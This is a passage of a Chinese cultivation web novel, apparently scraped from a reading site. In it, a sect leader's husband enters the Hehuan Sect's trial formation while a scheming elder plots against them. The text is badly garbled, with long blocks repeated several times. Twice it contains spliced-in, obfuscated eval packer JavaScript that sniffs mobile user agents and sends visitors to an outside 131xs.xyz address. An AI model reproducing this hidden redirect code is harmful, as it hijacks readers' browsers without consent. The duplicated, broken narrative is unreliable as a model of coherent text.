慕长歌瞥过头去,看到她玉指轻弹,一片合欢花瓣飘落掌心,花瓣上沾染着些许黑斑,在阳光下格外耀眼。 她指尖燃起一缕粉焰,将花瓣焚为灰烬。 “下定决心了?” 慕长歌笑着问。 有些人实力虽强,却早已腐朽不堪,就像这花瓣上的黑斑,若不及时剜下去,终将蔓延整棵树。 南宫媚儿抬首间轻声一嗯,笑起来如绽放的花朵,“夫君放心,待你闯过三关,媚儿定会好好犒劳你~” 谁犒劳谁? 慕长歌满头黑线,扫视着她那法相境五阶的修为。 不过他也不差,受益于这女人的勤奋,他的致命输出,成功将修为提升到了化神二十五阶。 这提升修为的速度堪称恐怖,就是容易**。 “叮!检测到宿主状态虚弱,是否兑换金刚不坏肾宝丸!” “特别提醒,换不了吃亏,换不了上当,系统出品,必属精品!” “叮!鉴于宿主沉默,本统默认宿主选择兑换!” 慕长歌尚未反应,嘴里就多了一枚丹药,且入口即化,化作暖流直冲四肢百骸。 “叮!已扣除10000气运值!” “功效,持续72时辰,期间可无视任何采补之术!” 上就从未待到过半个时辰。 羊毛也没有这样薅的啊。 倒是南宫媚儿愈发的妩媚,一颦一动无不蕴含着浓浓的女人味儿。 “夫君,你看起来好像瘦了些呢~” 寝宫前。 南宫媚儿玉指抚过他脸颊,眼中闪过些狡黠,指尖又在他眼下轻轻一点,“嗯~这黑眼圈是怎么回事?没休息好么?” 慕长歌嘴角抽搐。 休息? 休息个毛线啊! 那叫休息么? “要不.我们再去休息几日?” 阳光下闪烁着迷人光泽的那张红唇,凑近他耳畔,“不如等到夫君什么时候休息好了,再去应约大长老闯那三关?” “大可不必!” 慕长歌斩钉截铁,远离她三步,义正言辞,“既已应下岂有退缩之理,若不然岂不是让大长老抓住把柄,对你不利?” 他挺直腰板,大义凛然。 开玩笑! 再进去休息几天,他怕是要成为史上第一个双修过于刻苦,而陨落的修士了,那他就真的不用出来了。 “那媚儿都听夫君的。” 她眼神拉丝,靠在他肩头,“那就等夫君闯过那三关,拿到祖师留下的传承,再.” 南宫媚儿话音至此而止,美目中流淌着锋锐寒芒。 有些肉,既已烂掉,就该忍着痛剔下去,否则永远长不出新肉。 慕长歌瞥过头去,看到她玉指轻弹,一片合欢花瓣飘落掌心,花瓣上沾染着些许黑斑,在阳光下格外耀眼。 她指尖燃起一缕粉焰,将花瓣焚为灰烬。 “下定决心了?” 慕长歌笑着问。 有些人实力虽强,却早已腐朽不堪,就像这花瓣上的黑斑,若不及时剜下去,终将蔓延整棵树。 南宫媚儿抬首间轻声一嗯,笑起来如绽放的花朵,“夫君放心,待你闯过三关,媚儿定会好好犒劳你~” 谁犒劳谁? 慕长歌满头黑线,扫视着她那法相境五阶的修为。 不过他也不差,受益于这女人的勤奋,他的致命输出,成功将修为提升到了化神二十五阶。 这提升修为的速度堪称恐怖,就是容易**。 “叮!检测到宿主状态虚弱,是否兑换金刚不坏肾宝丸!” “特别提醒,换不了吃亏,换不了上当,系统出品,必属精品!” “叮!鉴于宿主沉默,本统默认宿主选择兑换!” 慕长歌尚未反应,嘴里就多了一枚丹药,且入口即化,化作暖流直冲四肢百骸。 “叮!已扣除10000气运值!” “功效,持续72时辰,期间可无视任何采补之术!” 上就从未待到过半个时辰。 羊毛也没有这样薅的啊。 倒是南宫媚儿愈发的妩媚,一颦一动无不蕴含着浓浓的女人味儿。 “夫君,你看起来好像瘦了些呢~” 寝宫前。 南宫媚儿玉指抚过他脸颊,眼中闪过些狡黠,指尖又在他眼下轻轻一点,“嗯~这黑眼圈是怎么回事?没休息好么?” 慕长歌嘴角抽搐。 休息? 休息个毛线啊! 那叫休息么? “要不.我们再去休息几日?” 阳光下闪烁着迷人光泽的那张红唇,凑近他耳畔,“不如等到夫君什么时候休息好了,再去应约大长老闯那三关?” “大可不必!” 慕长歌斩钉截铁,远离她三步,义正言辞,“既已应下岂有退缩之理,若不然岂不是让大长老抓住把柄,对你不利?” 他挺直腰板,大义凛然。 开玩笑! 再进去休息几天,他怕是要成为史上第一个双修过于刻苦,而陨落的修士了,那他就真的不用出来了。 “那媚儿都听夫君的。” 她眼神拉丝,靠在他肩头,“那就等夫君闯过那三关,拿到祖师留下的传承,再.” 南宫媚儿话音至此而止,美目中流淌着锋锐寒芒。 有些肉,既已烂掉,就该忍着痛剔下去,否则永远长不出新肉。 慕长歌瞥过头去,看到她玉指轻弹,一片合欢花瓣飘落掌心,花瓣上沾染着些许黑斑,在阳光下格外耀眼。 她指尖燃起一缕粉焰,将花瓣焚为灰烬。 “下定决心了?” 慕长歌笑着问。 有些人实力虽强,却早已腐朽不堪,就像这花瓣上的黑斑,若不及时剜下去,终将蔓延整棵树。 南宫媚儿抬首间轻声一嗯,笑起来如绽放的花朵,“夫君放心,待你闯过三关,媚儿定会好好犒劳你~” 谁犒劳谁? 慕长歌满头黑线,扫视着她那法相境五阶的修为。 不过他也不差,受益于这女人的勤奋,他的致命输出,成功将修为提升到了化神二十五阶。 这提升修为的速度堪称恐怖,就是容易**。 “叮!检测到宿主状态虚弱,是否兑换金刚不坏肾宝丸!” “特别提醒,换不了吃亏,换不了上当,系统出品,必属精品!” “叮!鉴于宿主沉默,本统默认宿主选择兑换!” 慕长歌尚未反应,嘴里就多了一枚丹药,且入口即化,化作暖流直冲四肢百骸。 “叮!已扣除10000气运值!” “功效,持续72时辰,期间可无视任何采补之术!” 上就从未待到过半个时辰。 羊毛也没有这样薅的啊。 倒是南宫媚儿愈发的妩媚,一颦一动无不蕴含着浓浓的女人味儿。 “夫君,你看起来好像瘦了些呢~” 寝宫前。 南宫媚儿玉指抚过他脸颊,眼中闪过些狡黠,指尖又在他眼下轻轻一点,“嗯~这黑眼圈是怎么回事?没休息好么?” 慕长歌嘴角抽搐。 休息? 休息个毛线啊! 那叫休息么? “要不.我们再去休息几日?” 阳光下闪烁着迷人光泽的那张红唇,凑近他耳畔,“不如等到夫君什么时候休息好了,再去应约大长老闯那三关?” “大可不必!” 慕长歌斩钉截铁,远离她三步,义正言辞,“既已应下岂有退缩之理,若不然岂不是让大长老抓住把柄,对你不利?” 他挺直腰板,大义凛然。 开玩笑! 再进去休息几天,他怕是要成为史上第一个双修过于刻苦,而陨落的修士了,那他就真的不用出来了。 “那媚儿都听夫君的。” 她眼神拉丝,靠在他肩头,“那就等夫君闯过那三关,拿到祖师留下的传承,再.” 南宫媚儿话音至此而止,美目中流淌着锋锐寒芒。 有些肉,既已烂掉,就该忍着痛剔下去,否则永远长不出新肉。 慕长歌瞥过头去,看到她玉指轻弹,一片合欢花瓣飘落掌心,花瓣上沾染着些许黑斑,在阳光下格外耀眼。 她指尖燃起一缕粉焰,将花瓣焚为灰烬。 “下定决心了?” 慕长歌笑着问。 有些人实力虽强,却早已腐朽不堪,就像这花瓣上的黑斑,若不及时剜下去,终将蔓延整棵树。 南宫媚儿抬首间轻声一嗯,笑起来如绽放的花朵,“夫君放心,待你闯过三关,媚儿定会好好犒劳你~” 谁犒劳谁? 慕长歌满头黑线,扫视着她那法相境五阶的修为。 不过他也不差,受益于这女人的勤奋,他的致命输出,成功将修为提升到了化神二十五阶。 这提升修为的速度堪称恐怖,就是容易**。 “叮!检测到宿主状态虚弱,是否兑换金刚不坏肾宝丸!” “特别提醒,换不了吃亏,换不了上当,系统出品,必属精品!” “叮!鉴于宿主沉默,本统默认宿主选择兑换!” 慕长歌尚未反应,嘴里就多了一枚丹药,且入口即化,化作暖流直冲四肢百骸。 “叮!已扣除10000气运值!” “功效,持续72时辰,期间可无视任何采补之术!” 上就从未待到过半个时辰。 羊毛也没有这样薅的啊。 倒是南宫媚儿愈发的妩媚,一颦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570993|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一动无不蕴含着浓浓的女人味儿。 “夫君,你看起来好像瘦了些呢~” 寝宫前。 南宫媚儿玉指抚过他脸颊,眼中闪过些狡黠,指尖又在他眼下轻轻一点,“嗯~这黑眼圈是怎么回事?没休息好么?” 慕长歌嘴角抽搐。 休息? 休息个毛线啊! 那叫休息么? “要不.我们再去休息几日?” 阳光下闪烁着迷人光泽的那张红唇,凑近他耳畔,“不如等到夫君什么时候休息好了,再去应约大长老闯那三关?” “大可不必!” 慕长歌斩钉截铁,远离她三步,义正言辞,“既已应下岂有退缩之理,若不然岂不是让大长老抓住把柄,对你不利?” 他挺直腰板,大义凛然。 开玩笑! 再进去休息几天,他怕是要成为史上第一个双修过于刻苦,而陨落的修士了,那他就真的不用出来了。 “那媚儿都听夫君的。” 她眼神拉丝,靠在他肩头,“那就等夫君闯过那三关,拿到祖师留下的传承,再.” 南宫媚儿话音至此而止,美目中流淌着锋锐寒芒。 有些肉,既已烂掉,就该忍着痛剔下去,否则永远长不出新肉。 慕长歌瞥过头去,看到她玉指轻弹,一片合欢花瓣飘落掌心,花瓣上沾染着些许黑斑,在阳光下格外耀眼。 她指尖燃起一缕粉焰,将花瓣焚为灰烬。 “下定决心了?” 慕长歌笑着问。 有些人实力虽强,却早已腐朽不堪,就像这花瓣上的黑斑,若不及时剜下去,终将蔓延整棵树。 南宫媚儿抬首间轻声一嗯,笑起来如绽放的花朵,“夫君放心,待你闯过三关,媚儿定会好好犒劳你~” 谁犒劳谁? 慕长歌满头黑线,扫视着她那法相境五阶的修为。 不过他也不差,受益于这女人的勤奋,他的致命输出,成功将修为提升到了化神二十五阶。 这提升修为的速度堪称恐怖,就是容易**。 “叮!检测到宿主状态虚弱,是否兑换金刚不坏肾宝丸!” “特别提醒,换不了吃亏,换不了上当,系统出品,必属精品!” “叮!鉴于宿主沉默,本统默认宿主选择兑换!” 慕长歌尚未反应,嘴里就多了一枚丹药,且入口即化,化作暖流直冲四肢百骸。 “叮!已扣除10000气运值!” “功效,持续72时辰,期间可无视任何采补之术!” 上就从未待到过半个时辰。 羊毛也没有这样薅的啊。 倒是南宫媚儿愈发的妩媚,一颦一动无不蕴含着浓浓的女人味儿。 “夫君,你看起来好像瘦了些呢~” 寝宫前。 南宫媚儿玉指抚过他脸颊,眼中闪过些狡黠,指尖又在他眼下轻轻一点,“嗯~这黑眼圈是怎么回事?没休息好么?” 慕长歌嘴角抽搐。 休息? 休息个毛线啊! 那叫休息么? “要不.我们再去休息几日?” 阳光下闪烁着迷人光泽的那张红唇,凑近他耳畔,“不如等到夫君什么时候休息好了,再去应约大长老闯那三关?” “大可不必!” 慕长歌斩钉截铁,远离她三步,义正言辞,“既已应下岂有退缩之理,若不然岂不是让大长老抓住把柄,对你不利?” 他挺直腰板,大义凛然。 开玩笑! 再进去休息几天,他怕是要成为史上第一个双修过于刻苦,而陨落的修士了,那他就真的不用出来了。 “那媚儿都听夫君的。” 她眼神拉丝,靠在他肩头,“那就等夫君闯过那三关,拿到祖师留下的传承,再.” 南宫媚儿话音至此而止,美目中流淌着锋锐寒芒。 有些肉,既已烂掉,就该忍着痛剔下去,否则永远长不出新肉。 慕长歌瞥过头去,看到她玉指轻弹,一片合欢花瓣飘落掌心,花瓣上沾染着些许黑斑,在阳光下格外耀眼。 她指尖燃起一缕粉焰,将花瓣焚为灰烬。 “下定决心了?” 慕长歌笑着问。 有些人实力虽强,却早已腐朽不堪,就像这花瓣上的黑斑,若不及时剜下去,终将蔓延整棵树。 南宫媚儿抬首间轻声一嗯,笑起来如绽放的花朵,“夫君放心,待你闯过三关,媚儿定会好好犒劳你~” 谁犒劳谁? 慕长歌满头黑线,扫视着她那法相境五阶的修为。 不过他也不差,受益于这女人的勤奋,他的致命输出,成功将修为提升到了化神二十五阶。 这提升修为的速度堪称恐怖,就是容易**。 “叮!检测到宿主状态虚弱,是否兑换金刚不坏肾宝丸!” “特别提醒,换不了吃亏,换不了上当,系统出品,必属精品!” “叮!鉴于宿主沉默,本统默认宿主选择兑换!” 慕长歌尚未反应,嘴里就多了一枚丹药,且入口即化,化作暖流直冲四肢百骸。 “叮!已扣除10000气运值!” “功效,持续72时辰,期间可无视任何采补之术!” 上就从未待到过半个时辰。 羊毛也没有这样薅的啊。 倒是南宫媚儿愈发的妩媚,一颦一动无不蕴含着浓浓的女人味儿。 “夫君,你看起来好像瘦了些呢~” 寝宫前。 南宫媚儿玉指抚过他脸颊,眼中闪过些狡黠,指尖又在他眼下轻轻一点,“嗯~这黑眼圈是怎么回事?没休息好么?” 慕长歌嘴角抽搐。 休息? 休息个毛线啊! 那叫休息么? “要不.我们再去休息几日?” 阳光下闪烁着迷人光泽的那张红唇,凑近他耳畔,“不如等到夫君什么时候休息好了,再去应约大长老闯那三关?” “大可不必!” 慕长歌斩钉截铁,远离她三步,义正言辞,“既已应下岂有退缩之理,若不然岂不是让大长老抓住把柄,对你不利?” 他挺直腰板,大义凛然。 开玩笑! 再进去休息几天,他怕是要成为史上第一个双修过于刻苦,而陨落的修士了,那他就真的不用出来了。 “那媚儿都听夫君的。” 她眼神拉丝,靠在他肩头,“那就等夫君闯过那三关,拿到祖师留下的传承,再.” 南宫媚儿话音至此而止,美目中流淌着锋锐寒芒。 有些肉,既已烂掉,就该忍着痛剔下去,否则永远长不出新肉。 慕长歌瞥过头去,看到她玉指轻弹,一片合欢花瓣飘落掌心,花瓣上沾染着些许黑斑,在阳光下格外耀眼。 她指尖燃起一缕粉焰,将花瓣焚为灰烬。 “下定决心了?” 慕长歌笑着问。 有些人实力虽强,却早已腐朽不堪,就像这花瓣上的黑斑,若不及时剜下去,终将蔓延整棵树。 南宫媚儿抬首间轻声一嗯,笑起来如绽放的花朵,“夫君放心,待你闯过三关,媚儿定会好好犒劳你~” 谁犒劳谁? 慕长歌满头黑线,扫视着她那法相境五阶的修为。 不过他也不差,受益于这女人的勤奋,他的致命输出,成功将修为提升到了化神二十五阶。 这提升修为的速度堪称恐怖,就是容易**。 “叮!检测到宿主状态虚弱,是否兑换金刚不坏肾宝丸!” “特别提醒,换不了吃亏,换不了上当,系统出品,必属精品!” “叮!鉴于宿主沉默,本统默认宿主选择兑换!” 慕长歌尚未反应,嘴里就多了一枚丹药,且入口即化,化作暖流直冲四肢百骸。 “叮!已扣除10000气运值!” “功效,持续72时辰,期间可无视任何采补之术!” 第143章 警钟长鸣惊全宗,万众瞩目闯三关 “……” 就无语,他什么时候说要兑换了。 什么灵丹妙药啊,就值一万气运值,这是赤裸裸的敲诈。 “夫君?” 南宫媚儿狐疑地看着他突变的脸色,“可是身有不适?” 下一秒。 她美眸圆睁,看到慕长歌周身泛起一层淡淡的金光,尤其是腰部以下,光芒格外耀眼。 她惊诧到掩住了娇唇。 夫君是什么做的? 自己就是怕他闯不过情和欲这两关,这才使出了浑身解数,以此消磨他的精力。 可是没想到,莫名其妙地,就恐怖如斯。 南宫媚儿彻底傻眼。 她都是偷偷吃了恢复的丹药,才支撑下来的。 望着清着嗓音,说了声精神焕发的慕长歌,她只好从袖中取出一块粉色玉佩,“夫君把这个带上。” 她将玉佩系在慕长歌腰间,“这是合欢宗宗主传承的守心玉,可助你保持灵台清明。” 慕长歌低头看去,玉佩上刻着一对交颈鸳鸯。 刚要开口,又见南宫媚儿双手抱着他胳膊,暧昧地眨了眨眼。 “当然啦,夫君若是撑不住,可以选择捏碎玉佩,媚儿立刻进去救你~” 她眼睛弯成了月牙,“不过那样的话,大长老他们就有话说了哦,大不了人家不做这宗主了,陪夫君浪迹天涯可好?” “我只想游山玩水!” 慕长歌化作一道金色流光冲天而起。 只有那笑声,依旧在虚空回荡。 南宫媚儿红唇不自觉地扬起,低头时掌心浮现出一物,那是她从慕长歌身上取下的发丝,已编成同心结,贴身收藏。 铛——铛——铛—— 合欢宗的警鸣钟响彻云霄,三声钟鸣震得群山回响。 正在修炼的弟子们纷纷抬头,只见护山大阵的穹顶泛起涟漪,一道金色身影,正向着万情林方向飞去。 “快看!是宗主道侣!” “天啊,他真的要去闯那三关了!” “听说连上任宗主都没能闯过问心关,拿到祖师留下的传承!” “不管他能不能闯过去,我愿称他为合欢宗最有种的男人!” 议论声如潮水般在各峰之间蔓延,玉蟾抬头看着空中那道流光,急匆匆向着主峰掠去。 静心阁前。 墨玄机枯瘦的手指紧握着龙头拐杖,浑浊的老眼盯着某个方向,嘴角扯出一个狰狞的弧度。 “老二, 老三。” 他声音嘶哑似砂纸产生的摩擦感,“你们且去,按照原计划行事,稍后我们再汇合。” 墨有机点了点头。 墨有丹却有些迟疑,“大哥,真要走那一步吗,毕竟是” “闭嘴!” 墨玄机龙头杖重重顿地,震得青石地面龟裂,“事关宗门存亡,岂容半点犹豫!” 两人一同离去。 墨玄机抬起枯瘦的手指放在唇边,吹出一声尖锐的口哨。 咻! 四道粉色流光应声而至,竟是四位身着轻纱的绝色女子。 她们肌肤如雪,眉眼如画,却都目光呆滞,仿佛失去了魂魄。 “主人~” 四女齐声娇唤,声音甜腻,毫无生气。 墨玄机龙头拐杖轻点地面,只见四女玉手轻挥,一架鎏金座椅凭空浮现。 座椅上雕刻着合欢花纹,扶手处镶嵌着两颗泛着黑气的诡异宝石。 “去万情林。” 墨玄机佝偻的身躯坐了上去。 四女同时掐诀,座椅腾空而起,她们足尖轻点虚空,抬着座椅如履平地,向着万情林方向飘然而去。 轻纱飞舞间,隐约可见她们脚踝处系着一条血色细链,随着移动发出清脆的碰撞声。 南宫媚儿依旧站在原地,裙摆被山风吹得飘扬而起,她看似平静,可那紧攥的玉指,暴露了内心的波澜。 如今的合欢宗分为革新与守旧两派,革新派拥护她这位宗主,主张与魔道抗争到底。 守旧派则是以墨玄机为主,主张宗门始终保持中立,不参与任何正魔纷争。 可这世上只要有人便有纷争,合欢宗在外人眼里向来亦正亦邪,可开山祖师当年却在魔道为患之际挺身而出。 虽最终身死道消,可无愧于心。 如若魔道真的做大,合欢宗生死存亡,只不过取决于对方何时出手,想要掌握主动权,绝不能继续保持中立。 更何况百年前那一战,碧霄宫已是打得天魔门元气大伤,魔尊阴无涯不知所踪,眼前正是消灭他们的大好时机。 南宫媚儿始终刻苦修行,未曾敢懈怠,就是不想看到合欢宗有一天遇上灾难,而她无能为力。 她曾经的家毁于魔门之手,在她最无助的时候,是师父厉千山将她带到了合欢宗,并传授给她修行之法。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574704|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段恩情她永不会忘,无论如何她都要守好合欢宗,以此让师父安心闭关,突破修为。 “宗主!” 玉蟾气喘吁吁地落在她身后,“大长老他们.” “我知道。” 南宫媚儿声音冷得像块冰,“随他们去,我相信他。” …… 万情林外围**了数百名弟子,有人紧张地咬着指甲,有人兴奋地垫脚张望。 当慕长歌的身影出现在林外,他们安静了下来,且静立两侧让开道路,齐齐拱手抱拳。 “我等祝慕前辈,破情关,斩欲海,问心无愧!” 数百名弟子齐声高喝。 声浪如潮,惊起林间飞鸟,他们眼中闪烁着崇敬的光芒,更有女修悄悄红了脸。 人群中不知谁先起的头,抛出一朵合欢花。 “愿前辈旗开得胜!” 霎时间,漫天花雨倾泻而下,粉白花瓣在空中交织成绚丽的帷幕,落在慕长歌肩头发梢。 有胆大的女修,甚至解下腰间香囊,羞涩中带有期待地掷给了慕长歌。 此一去,若成功,他将会是第一个渡过情劫,欲海,问心,三关阵法的人。 失败也无妨,此举就当做为他送行,只凭这份勇气,就值得他们敬重。 “就让我等为前辈开路!” 数百弟子同时掐诀,指尖迸发出璀璨灵光,各色灵力在空中交织,化作一条七彩虹桥,从林外直通万情林深处。 “开阵!” 为首的弟子一声令下,所有人同时将法诀推向地面。 刹那间,大地震颤。 万情林边缘的粉色雾气,如幕布般向两侧分开,露出一条铺满花瓣的小径。 轰! 九道金色光柱从林间冲天而起,在空中交织成合欢宗开山祖师的法相。 那虚影手持玉如意,对着慕长歌微微颔首,化作漫天光点洒落。 慕长歌踏前一步,足尖触及花瓣小径,整条路亮起璀璨星芒,花瓣犹如指路的明灯,在幽深的林间勾勒出一条银河般的光带。 片刻后,他脚步陡然而止,望着一个个如火的眼神,掏出葫芦,灌了口酒。 “情劫淬我剑锋寒,欲海焚天胆未残,问心叩得长生路,何须红尘借金丹。” 酒液入喉,顺着喉咙滑落。 慕长歌回眸一笑,“你们祖师所设三关,既是磨炼又是机缘,待我归来,再与诸君痛饮!” 第144章 百美踏浪惑心神,欲念暗劲悄入侵 他屈指一弹,葫芦里剩余的酒液化作漫天雨露,洒在众弟子身上,那酒香竟蕴含精纯灵力,让接触到的人顿觉精神一振。 等到他们反应过来,慕长歌已然穿过了泛着涟漪的阵法光幕。 南宫媚儿飘然落在阵法边缘。 她伸出去的玉手悬在半空,指尖微微发颤,终究没能触碰到那已然闭合的光幕。 “夫君.” 她将那一句‘一定要平安回来’咽了回去,指甲悄然陷入掌心,渗出点点血珠,又被她用灵力抹了去。 玉蟾望着她发抖的娇躯,轻唤了声,“宗主.” 唉! 既然担忧,又何必让他进去。 倘若慕长歌这样的天纵之才,折损在阵法之内,那可是天大的损失,可大长老提出的规矩,又确有此事。 “备酒!” 南宫媚儿脸上绽放出明媚笑容,比满山合欢还要绚烂。 她红唇轻启,声音清越,“要最烈的千年醉,等他出来全宗弟子一同享用!” 玉蟾怔了怔,长叹一声正要应下,却见南宫媚儿眸光陡然转冷。 顺着她的视线望去,墨玄机正端坐在不远处的鎏金座椅上。 四名傀儡侍女静立两侧,那双浑浊的老眼与南宫媚儿隔空相撞,迸溅出无形的火花。 “大长老好雅兴。” 南宫媚儿广袖轻拂,月白留仙裙无风自动,当她的目光转而看向那个几侍女,瞳孔骤然一缩。 春桃,夏荷,秋菊,冬梅,她曾经的贴身四侍,逐个离奇失踪。 自那以后,她就再也没收过近侍,可没想到再见她们时,竟被炼成了人不人鬼不鬼的傀儡。 这算什么? 挑衅? 墨玄机装作看不见南宫媚儿那**的眼神,他龙头杖轻点座椅扶手,发出沉闷的咚咚声。 “老朽身为执法长老,自当监督闯关全程。” 他眯起眼睛,深邃的眸光中,带着几分轻蔑,“倒是宗主似乎很紧张?” “本座自然紧张。” 南宫媚儿声音轻得如同耳语,却让方圆百丈内的温度骤降,“我家夫君若是成功闯关,某些人的算盘就要落空了。” “哦?是吗?” 墨玄机枯瘦的手指,摩挲着龙头杖,嘴角扯出阴冷的弧度,“这万情三关,千年来无人能破。” “就是你师父,也不曾闯过第三关,若是宗主的姘头,不幸陨落阵中” 他浑浊的老眼眯成一条缝,似是吐着信 子的毒蛇,“老朽还望宗主,节哀顺变才是。” 龙头杖砸地,那四名傀儡侍女同时抬头,空洞的眼睛直勾勾盯着南宫媚儿。 墨玄机阴恻恻地补充道,“毕竟这阵法,可是会**的。” 两人目光再次交锋,虚空仿佛凝固。 围观的弟子们,不自觉地后退半步,就是玉蟾额头上也冒出了冷汗。 咔嚓! 一声脆响打破僵局。 众人循声望去,竟是万情林上空的阵法光幕裂开一道缝隙,隐约可见里面桃花纷飞的景象。 那是情关将破的征兆,可慕长歌进去才不到半刻钟! “大长老,看来这**的阵法,今日胃口不太好啊。” 南宫媚儿红唇微抿,指尖敲打着小臂,“这么快就消化不良了呢。” “哼!宗主莫要高兴太早!” 墨玄机脸色阴沉如墨,“这才第一关,欲海,问心二关,一关更比一关凶险!” 话音未落,南宫媚儿转身望向万情林。 那一瞬间,她展颜一笑,漫山合欢为之失色,连穿透云层的阳光,都黯然几分。 “对别人来说或许吧。” 她轻抚被风吹乱的发丝,眼波流转间尽是骄傲,“可我家夫君,最擅长的就是创造奇迹。” 她那红唇勾起一抹惊心动魄的弧度。 情关内。 慕长歌站在碧霄宫的桃林中,花瓣纷纷扬扬洒落肩头。 水月为他斟茶,素手纤纤。 叶灵曦倚在他肩头,笑颜如花。 妙音怀中抱着个粉雕玉琢的婴孩,正冲他温柔浅笑。 “师兄~尝尝人家新摘的灵茶好不好喝~” 水月将茶盏递到他唇边,眸子柔情似水。 慕长歌握住她的手腕,“愿景虽好,可终究是幻象。” 茶盏炸裂,滚烫的茶水溅落,犹如高强度腐蚀的硫酸,滴水成洞,喝下去必死无疑。 “梦过了,该醒来了。” 他打了个响指,桃林的景象如同镜面破碎。 桃树、佳人,婴孩,都化作漫天光点,露出万情林真实的面貌。 古树参天,藤蔓缠绕,满地都是腐朽的合欢花瓣。 慕长歌踏出情关的那一刻,脚下腐朽的花瓣在他周身盘旋成一道粉色漩涡。 外界众人只见上空的光幕,从淡粉转为了深绯,映得半边天空如血染般艳丽。 “这是欲海关已开启!” 玉蟾失声惊呼。 虽然他没去阵法中查看过,但开山祖师所的手笔岂是那么简单。 他愈发怀疑,慕长歌的**,就是碧霄宫第一闲散长老,以及那位飞升圣主云清璃的道侣。 若是如此,别说他要称呼一声前辈,就是自家宗主在人家面前,还要小个二百来岁。 这算什么? 老牛吃嫩草? 玉蟾忽然悔恨不已,他怎么就没想到用伪装的方式,去哄骗一些小女孩呢? 说出去谁敢信,他这位合欢宗的长老,从未体会过双修的滋味,只是被曾经的师姐被迫双修过。 那时他所在的外门山峰,名为韭菜峰,清一色男弟子,时不时要接受一些内门师姐的考核。 每次考核回来,都要瘦上几圈,若不是损伤了根基,他何至于区区三百来岁,就一脸苍老的面容啊。 想到这,玉蟾就想嚎啕大哭。 南宫媚儿美眸流转,蹙眉瞥了眼玉蟾。 玉蟾急忙抹了把脸,挤出夸张的笑,“宗主啊,我这是太开心了,慕少爷他天纵奇才,跟您天造地设的一对!” 他搓着手,谄媚地补充道,“这叫什么?龙凤呈祥!神仙眷侣!宗主之福,合欢宗之幸啊!” 说完,他还抹了抹眼泪。 “我那迷人的夫君啊~” 南宫媚儿指尖绕着发丝,红唇扬起弧度,“比真的棒.还要棒.你说呢,大长老?” “老朽倒要看看,他能在这欲海沉沦中坚持多久!” 墨玄机话音刚落。 墨有机和墨有丹一同来到了他跟前,两人冲着他微微点头,而后墨玄机挑起了笑。 此时,慕长歌已然进入第二关。 原本幽深的古林化作一片无边无际的绯色海洋,海面上漂浮着朵朵妖艳的合欢花,每一片皆是闪烁着蛊惑人心的粉芒。 幻境? 不对! 天眼瞳开启洞察根源。 慕长歌稍有诧异的发现,此处似幻非幻,准确来说是以修士的识海为根基所布置的阵法。 不愧是合欢宗的开山祖师,果然大手笔。 他已然看出,无论是这识海,还是流淌在其中的欲念之力,都是那位开山祖师以身所化。 “公子~” 道道酥媚入骨的声音,从四面八方传来。 海面上升腾起氤氲雾气,百名绝色女子踏浪而出。 她们或清纯可人,或妖艳如火,或冷若冰霜,却都只披着轻透薄纱,曼妙曲线在雾气中若隐若现。 最可怕的是,每个女子身上都散发着独特的魅惑气息。 那是直击修士神魂深处,**的欲念之力。 “让奴家伺候公子可好?” 为首的红衣女子款款走来,玉指点过慕长歌的胸膛。 触碰的刹那,一股灼热的欲念之力,悄无声息钻入经脉。 虽然他没去阵法中查看过,但开山祖师所的手笔岂是那么简单。 他愈发怀疑,慕长歌的**,就是碧霄宫第一闲散长老,以及那位飞升圣主云清璃的道侣。 若是如此,别说他要称呼一声前辈,就是自家宗主在人家面前,还要小个二百来岁。 这算什么? 老牛吃嫩草? 玉蟾忽然悔恨不已,他怎么就没想到用伪装的方式,去哄骗一些小女孩呢? 说出去谁敢信,他这位合欢宗的长老,从未体会过双修的滋味,只是被曾经的师姐被迫双修过。 那时他所在的外门山峰,名为韭菜峰,清一色男弟子,时不时要接受一些内门师姐的考核。 每次考核回来,都要瘦上几圈,若不是损伤了根基,他何至于区区三百来岁,就一脸苍老的面容啊。 想到这,玉蟾就想嚎啕大哭。 南宫媚儿美眸流转,蹙眉瞥了眼玉蟾。 玉蟾急忙抹了把脸,挤出夸张的笑,“宗主啊,我这是太开心了,慕少爷他天纵奇才,跟您天造地设的一对!” 他搓着手,谄媚地补充道,“这叫什么?龙凤呈祥!神仙眷侣!宗主之福,合欢宗之幸啊!” 说完,他还抹了抹眼泪。 “我那迷人的夫君啊~” 南宫媚儿指尖绕着发丝,红唇扬起弧度,“比真的棒.还要棒.你说呢,大长老?” “老朽倒要看看,他能在这欲海沉沦中坚持多久!” 墨玄机话音刚落。 墨有机和墨有丹一同来到了他跟前,两人冲着他微微点头,而后墨玄机挑起了笑。 此时,慕长歌已然进入第二关。 原本幽深的古林化作一片无边无际的绯色海洋,海面上漂浮着朵朵妖艳的合欢花,每一片皆是闪烁着蛊惑人心的粉芒。 幻境? 不对! 天眼瞳开启洞察根源。 慕长歌稍有诧异的发现,此处似幻非幻,准确来说是以修士的识海为根基所布置的阵法。 不愧是合欢宗的开山祖师,果然大手笔。 他已然看出,无论是这识海,还是流淌在其中的欲念之力,都是那位开山祖师以身所化。 “公子~” 道道酥媚入骨的声音,从四面八方传来。 海面上升腾起氤氲雾气,百名绝色女子踏浪而出。 